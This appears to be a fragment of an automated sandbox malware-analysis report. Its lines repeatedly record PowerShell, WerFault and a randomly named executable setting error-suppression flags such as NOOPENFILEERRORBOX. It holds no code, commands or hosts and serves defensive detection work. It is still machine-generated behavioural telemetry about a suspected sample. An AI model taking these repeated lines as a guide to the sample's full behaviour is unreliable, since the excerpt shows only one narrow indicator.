Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
